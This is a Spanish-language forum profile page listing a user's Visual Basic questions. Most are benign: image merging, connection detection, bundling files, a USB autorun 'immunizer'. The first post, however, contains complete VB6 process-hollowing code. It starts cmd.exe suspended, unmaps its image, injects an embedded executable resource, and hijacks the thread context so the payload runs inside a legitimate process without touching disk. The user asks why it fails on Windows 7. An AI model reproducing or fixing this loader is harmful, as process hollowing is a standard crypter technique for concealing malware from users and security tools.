Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - th3y

Páginas: [1] 2
1
Visual Basic 6 / Ejecución de recurso en Memoria
« en: Agosto 09, 2013, 10:50:30 am »
Hola a todos!
Tal vez el título no sea del todo claro, pero tengo este código (Encontrado en un foro). Este ejecuta la aplicación desde un recurso, pero al probarlo, no funciona, mejor dicho no muestra rastro de ejecución a simple vista. (Mi espacio de trabajo es Windows 7)
¿Alguien me podría decir por qué? Y en todo caso, ver cual es la solución. Lo que intento hacer es ejecutar un recurso ejecutable sin tener que guardarlo al disco.

Modulo
Código: [Seleccionar]
'
' Thread context stuff
'
Const SIZE_OF_80387_REGISTERS = 80

Type FLOATING_SAVE_AREA
  ControlWord As Long
  StatusWord As Long
  TagWord As Long
  ErrorOffset As Long
  ErrorSelector As Long
  DataOffset As Long
  DataSelector As Long
  RegisterArea(1 To SIZE_OF_80387_REGISTERS) As Byte
  Cr0NpxState As Long
End Type

Public Type CONTEXT86
  ContextFlags As Long
  'These are selected by CONTEXT_DEBUG_REGISTERS
  Dr0 As Long
  Dr1 As Long
  Dr2 As Long
  Dr3 As Long
  Dr6 As Long
  Dr7 As Long
  'These are selected by CONTEXT_FLOATING_POINT
  FloatSave As FLOATING_SAVE_AREA
  'These are selected by CONTEXT_SEGMENTS
  SegGs As Long
  SegFs As Long
  SegEs As Long
  SegDs As Long
  'These are selected by CONTEXT_INTEGER
  Edi As Long
  Esi As Long
  Ebx As Long
  Edx As Long
  Ecx As Long
  Eax As Long
  'These are selected by CONTEXT_CONTROL
  Ebp As Long
  Eip As Long
  SegCs As Long
  EFlags As Long
  Esp As Long
  SegSs As Long
End Type

Public Const CONTEXT_X86 = &H10000
Public Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)          'SS:SP, CS:IP, FLAGS, BP
Public Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)          'AX, BX, CX, DX, SI, DI
Public Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)         'DS, ES, FS, GS
Public Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)   '387 state
Public Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10) 'DB 0-3,6,7
Public Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)

Public Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As Long
Public Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long
Public Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As Long

'
' Process creation and memory access stuff
'
Public Type PROCESS_INFORMATION
  hProcess As Long
  hThread As Long
  dwProcessId As Long
  dwThreadId As Long
End Type

Public Type STARTUPINFO
  cb As Long
  lpReserved As String
  lpDesktop As String
  lpTitle As String
  dwX As Long
  dwY As Long
  dwXSize As Long
  dwYSize As Long
  dwXCountChars As Long
  dwYCountChars As Long
  dwFillAttribute As Long
  dwFlags As Long
  wShowWindow As Integer
  cbReserved2 As Integer
  lpReserved2 As Long        'LPBYTE
  hStdInput As Long
  hStdOutput As Long
  hStdError As Long
End Type

Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Const CREATE_SUSPENDED = &H4
Public Const MEM_COMMIT As Long = &H1000&
Public Const MEM_RESERVE As Long = &H2000&
Public Const PAGE_NOCACHE As Long = &H200
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
Public Const PAGE_EXECUTE_READ As Long = &H20
Public Const PAGE_EXECUTE As Long = &H10
Public Const PAGE_READONLY As Long = &H2
Public Const PAGE_WRITECOPY As Long = &H8
Public Const PAGE_NOACCESS As Long = &H1
Public Const PAGE_READWRITE As Long = &H4

'
' Main stuff for any API code
'
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)

Private Enum ImageSignatureTypes
  IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
  IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
  IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
  IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
  IMAGE_NT_SIGNATURE = &H4550      ''\\ PE00
End Enum

Private Type IMAGE_DOS_HEADER
  e_magic As Integer        ' Magic number
  e_cblp As Integer         ' Bytes on last page of file
  e_cp As Integer           ' Pages in file
  e_crlc As Integer         ' Relocations
  e_cparhdr As Integer      ' Size of header in paragraphs
  e_minalloc As Integer     ' Minimum extra paragraphs needed
  e_maxalloc As Integer     ' Maximum extra paragraphs needed
  e_ss As Integer           ' Initial (relative) SS value
  e_sp As Integer           ' Initial SP value
  e_csum As Integer         ' Checksum
  e_ip As Integer           ' Initial IP value
  e_cs As Integer           ' Initial (relative) CS value
  e_lfarlc As Integer       ' File address of relocation table
  e_ovno As Integer         ' Overlay number
  e_res(0 To 3) As Integer  ' Reserved words
  e_oemid As Integer        ' OEM identifier (for e_oeminfo)
  e_oeminfo As Integer      ' OEM information; e_oemid specific
  e_res2(0 To 9) As Integer ' Reserved words
  e_lfanew As Long          ' File address of new exe header
End Type

'
' MSDOS File header
'
Private Type IMAGE_FILE_HEADER
  Machine As Integer
  NumberOfSections As Integer
  TimeDateStamp As Long
  PointerToSymbolTable As Long
  NumberOfSymbols As Long
  SizeOfOptionalHeader As Integer
  characteristics As Integer
End Type

'
' Directory format.
'
Private Type IMAGE_DATA_DIRECTORY
  VirtualAddress As Long
  Size As Long
End Type

'
' Optional header format.
'
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

Private Type IMAGE_OPTIONAL_HEADER
  ' Standard fields.
  Magic As Integer
  MajorLinkerVersion As Byte
  MinorLinkerVersion As Byte
  SizeOfCode As Long
  SizeOfInitializedData As Long
  SizeOfUnitializedData As Long
  AddressOfEntryPoint As Long
  BaseOfCode As Long
  BaseOfData As Long
  ' NT additional fields.
  ImageBase As Long
  SectionAlignment As Long
  FileAlignment As Long
  MajorOperatingSystemVersion As Integer
  MinorOperatingSystemVersion As Integer
  MajorImageVersion As Integer
  MinorImageVersion As Integer
  MajorSubsystemVersion As Integer
  MinorSubsystemVersion As Integer
  W32VersionValue As Long
  SizeOfImage As Long
  SizeOfHeaders As Long
  CheckSum As Long
  SubSystem As Integer
  DllCharacteristics As Integer
  SizeOfStackReserve As Long
  SizeOfStackCommit As Long
  SizeOfHeapReserve As Long
  SizeOfHeapCommit As Long
  LoaderFlags As Long
  NumberOfRvaAndSizes As Long
  DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
  Signature As Long
  FileHeader As IMAGE_FILE_HEADER
  OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

'
' Section header
'
Const IMAGE_SIZEOF_SHORT_NAME = 8

Private Type IMAGE_SECTION_HEADER
  SecName As String * IMAGE_SIZEOF_SHORT_NAME
  VirtualSize As Long
  VirtualAddress  As Long
  SizeOfRawData As Long
  PointerToRawData As Long
  PointerToRelocations As Long
  PointerToLinenumbers As Long
  NumberOfRelocations As Integer
  NumberOfLinenumbers As Integer
  characteristics  As Long
End Type

Const OFFSET_4 = 4294967296#
Public Function RunExeFromResourceInVirtualMemory(ByVal sCmdExe As String, abExeFile() As Byte) As Long
 Dim idh As IMAGE_DOS_HEADER
 Dim inh As IMAGE_NT_HEADERS
 Dim ish As IMAGE_SECTION_HEADER
 Dim pi As PROCESS_INFORMATION
 Dim si As STARTUPINFO
 Dim context As CONTEXT86
 Dim ImageBase As Long, ret As Long, i As Long
 Dim addr As Long, lOffset As Long
       
 CopyMemory idh, abExeFile(0), Len(idh)
   
 If idh.e_magic <> IMAGE_DOS_SIGNATURE Then
   MsgBox "MZ signature not found!", vbCritical, "File load error"
   Exit Function
 End If
   
 CopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)
   
 If inh.Signature <> IMAGE_NT_SIGNATURE Then
   MsgBox "PE signature not found!", vbCritical, "File load error"
   Exit Function
 End If
   
 si.cb = Len(si)
   
 If CreateProcess(vbNullString, sCmdExe, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
   MsgBox "Can not start process!", vbCritical
   Exit Function
 End If
   
 context.ContextFlags = CONTEXT86_INTEGER
   
 If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
   
 ReadProcessMemory pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0
   
 If addr = 0 Then GoTo ClearProcess
   
 If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
   
 ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
   
 If ImageBase = 0 Then GoTo ClearProcess

 WriteProcessMemory pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret
   
 lOffset = idh.e_lfanew + Len(inh)
   
 For i = 0 To inh.FileHeader.NumberOfSections - 1
   CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
   WriteProcessMemory pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret
   VirtualProtectEx pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr
 Next i
   
 WriteProcessMemory pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret
   
 context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
   
 SetThreadContext pi.hThread, context
 ResumeThread pi.hThread
   
 Exit Function
ClearProcess:
 CloseHandle pi.hThread
 CloseHandle pi.hProcess
End Function
Private Function Protect(ByVal characteristics As Long) As Long
 Dim mapping As Variant
 
 mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
                 PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
                 PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
   
 Protect = mapping(RShift(characteristics, 29))
End Function
Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
 RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function
Private Function vbLongToULong(ByVal Value As Long) As Double
 If Value < 0 Then
   vbLongToULong = Value + OFFSET_4
 Else
   vbLongToULong = Value
 End If
End Function


Formulario - Botón (Agregar un recurso ejecutable)
Código: [Seleccionar]

Dim resBYTE() As Byte
resBYTE = LoadResData(101, "CUSTOM")
RunExeFromResourceInVirtualMemory "C:\WINDOWS\system32\cmd.exe", resBYTE

2
Visual Basic 6 / Re:Union de 2 Imagenes con Capa
« en: Enero 09, 2013, 10:48:38 pm »
La imagen de fondo, es leida desde un array de bits (Property Bag) - jpg (400x300 pero redimensionado a 409x286)
Y la caja es solo imagen cargada desde el IDE - png (365x456)

Lo que quiero hacer es: Que una vez que tenga los 2 en uno solo pasarlo a un icono
de esta manera hacerlo para icono de carpeta, aunque no eh visto forma de pasarlo a icono

Carpeta con las 2 Imagenes

Saludos, Gracias!

3
Visual Basic 6 / Union de 2 Imagenes con Capa
« en: Enero 09, 2013, 01:42:31 pm »
Hola a todos, hay alguna forma de unir 2 imagenes en una sola y guardarlo:

Lo que busco es,


Que la imagen (en este caso es Tow and a half men) que sera random, y la portada, se guarden en un solo archivo, y sin perder la transparencia

Image Control para la imagen de caratula - UcImageControl Cobein por la Caja

4
Visual Basic 6 / Ordenar un Listbox por Pertinencia
« en: Diciembre 12, 2012, 04:47:42 am »
Como lo dice el titulo intento ordenarlo como yo quiero al estilo arrastre

Hay algun modo?

5
Visual Basic .NET / C# / Re:Inmunizar una Memoria Flash
« en: Noviembre 18, 2012, 12:30:14 pm »
mmm yo lo abro desde el archivo sln

editado:

tampoco ahora que lo veo bien :s
pero abro el archivo
Form1.designer.vb y veo el codigo :P

6
Visual Basic .NET / C# / Inmunizar una Memoria Flash
« en: Noviembre 18, 2012, 06:55:12 am »
Bueno, la idea de esta diminuta aplicaciones inmunizar una memoria flash como dice el titulo
la funcion es crear una carpeta llamada "autorun.inf" y crear dentro de ella una carpeta con un nombre "prohibido" de windows
y con esto la carpeta principal, no podria eliminarse, incluso la misma del nombre prohibido

Aqui les dejo el Proyecto, digamos que es mi primer proyectito en visual net 2010
http://www.mediafire.com/download.php?p766zabmz31dw89

7
Visual Basic 6 / Visual Basic 6.0 y Otras versiones
« en: Noviembre 16, 2012, 10:21:43 pm »
Alguien a probado o tiene instalado visual basic 6.0 y Visual Studio 2010(por ejemplo) en el mismo sistema y les a causado conflictos o algo por el estilo?

8
Visual Basic 6 / Re:Comprobar conexión a internet.
« en: Noviembre 13, 2012, 07:53:51 pm »
Hola, encontre algo acerca del segundo en este post:

http://www.vbforums.com/printthread.php?t=10198

Y segun dice un comentario, su uso es solo para Dial-up


Vi tambien este codigo para comprobar si tu conexion es por modem o lan:

Modulo:
Código: (VB) [Seleccionar]
Option Explicit
Public Declare Function InternetGetConnectedState _
Lib "wininet.dll" (ByRef lpSFlags As Long, _
ByVal dwReserved As Long) As Long

Public Const INTERNET_CONNECTION_LAN As Long = &H2
Public Const INTERNET_CONNECTION_MODEM As Long = &H1

Public Function ViaLAN() As Boolean

Dim SFlags As Long
'return the flags associated with the connection
Call InternetGetConnectedState(SFlags, 0&)

'True if the Sflags has a LAN connection
ViaLAN = SFlags And INTERNET_CONNECTION_LAN

End Function
Public Function ViaModem() As Boolean

Dim SFlags As Long
'return the flags associated with the connection
Call InternetGetConnectedState(SFlags, 0&)

'True if the Sflags has a modem connection
ViaModem = SFlags And INTERNET_CONNECTION_MODEM

End Function

Formulario con 2 textbox y un command button

Código: (VB) [Seleccionar]
Option Explicit

Private Sub Command1_Click()
Text1 = "Conexion Lan :" & ViaLAN()
Text2 = "Conexion Modem :" & ViaModem()
End Sub

9
Visual Basic 6 / Re:Unir 2 o más Archivos en 1
« en: Noviembre 09, 2012, 05:45:19 am »
Funciona a la Perfeccion! Gracias!
Cuando termine de hacer el Programa te lo mando!

10
Visual Basic 6 / Re:Unir 2 o más Archivos en 1
« en: Noviembre 07, 2012, 03:28:19 am »
Gracias!
En la tarde intente esto, osea despues de cargar el archivo de texto:

Código: [Seleccionar]
Private Function Buscar(Principal As String, Variable As String, Default As Variant) As String
Dim pos, pos1, longitud_variable As Long
Dim Cadena, Extraido As String

pos = InStr(Principal, Variable & "=")
longitud_variable = Len(Variable)
If pos > 0 Then

    Extraido = Mid(Principal, pos + longitud_variable + 1, 8000)
   
    pos1 = InStr(Extraido, Chr(10))

    If pos1 > 0 Then
       Cadena = Mid(Extraido, 1, pos1 - 2)
       Extraido = Replace(Cadena, Chr(10), "")
      If (Len(Trim(Extraido)) = 0) Then
      Buscar = Default
      Else
      Buscar = Extraido
      End If
     
    End If
Else
Buscar = Default
End If

End Function

Editado:

Hay alguna forma de abrir y guardar el archivo de imagen en el formato original? debido a que un archivo jpg de 608 kb en bmp es 12.8 mb

11
Visual Basic 6 / Re:Unir 2 o más Archivos en 1
« en: Noviembre 06, 2012, 07:32:23 am »
Acabas de alegrarme el Dia, o bueno.. la madrugada.
Lo probare!
Una pregunta:
Cuando hace la carga del dato, demora dependiendo del tamaño del archivo?
Un Ejemplo:
Uno de los archivos (texto) tiene como dato: Nombre= Juan ,  Edad= 26
Y Otro Archivo de texto tiene como dato : Nombre= Mario, Edad= 27
y asi progresivamente (osea mas archivos de texto con diferentes variables...)

Como puedo hacer para cargar el texto, buscar el valor de nombre o edad, sin necesidad de extraerlo, o en todo caso hacer una funcion al estilo WritePrivateProfileString y GetPrivateProfileString

Estoy buscando un nuevo sistema de archivos para un programa que tengo por la red ]http://www.mediafire.com/download.php?n6dvwgvhwnvtbgb (no es SC)
Como notaras, uso la funcion de writeprivate para leer los datos, y a parte tengo que cargar la imagen (Pero esta suelta y es facil eliminarla), y estoy buscando ahora como juntar los 2 y hacer las mismas funciones, como buscar por Titulo, Genero etc

Gracias enserio! estaba frustrado.

12
Visual Basic 6 / Unir 2 o más Archivos en 1
« en: Noviembre 05, 2012, 04:07:53 am »
No se si es un tema ya tocado, pero busco y busco en internet y no consigo una respuesta concreta.

Existe alguna forma de unir 2 archivos en 1 solo, sin perder informacion en ellas, y poder leerlas o cargarlas?

En mi caso, buscando, (no es una forma de unir) intente guardar texto en metadatos de una imagen
pero debido al problema de sistema de archivos de Windows no es posible, Asi que seguí buscando y lo unico que encontre fue sobre los EXIF Data.. que tambien es otro problema.

Lo que busco, es la union de 2 archivos en 1 sin modificar los mismos, algo al estilo "Comprimido" (Imagen + Texto Plano)
Quisiera usar este proyecto que encontre en PSC  [Archiver Proyect]
Pero no se que dicen ustedes, si hay alguno mejor? de preferencia no "comprimido"

Gracias de antemano  :)

13
Visual Basic 6 / Re:WMP Control Focus
« en: Noviembre 05, 2012, 03:55:44 am »
Ya habia probado esas 2, y me trae algunas complicaciones, ya que uso mas procesos, asi que opte por un MCI y un picture adelante, ya que el mci no pasa por todo los controles! Gracias de todas maneras  ::)

14
Visual Basic 6 / Re:WMP Control Focus
« en: Octubre 31, 2012, 08:26:15 pm »
Lo intente y nada :(
Lo que busco es que el video no se muestre, pero que sigan activos los controles y el slider del tiempo
estaba buscando si hay algun tipo de funcion dentro del control de windows media player, al menos para "opacar" al 100% la imagen o algun efecto pero nada tal parece, me recomiendan algun control parecido al windows media player, que no sea MCI :/ ?

15
Visual Basic 6 / WMP Control Focus
« en: Octubre 31, 2012, 04:43:18 am »
Tengo un problema con el control de Windows Media Player, cuando hay un archivo en reproduccion, este se enfoca sobre todos los controles,  lo que quiero es poner algo enfrente del control cuando este en reproduccion,  hay algun tipo de codigo o funcion para enfocar algo sobre el wmp?? Hago recordar que esto solo pasa cuando se esta reproduciendo.  :-\

Páginas: [1] 2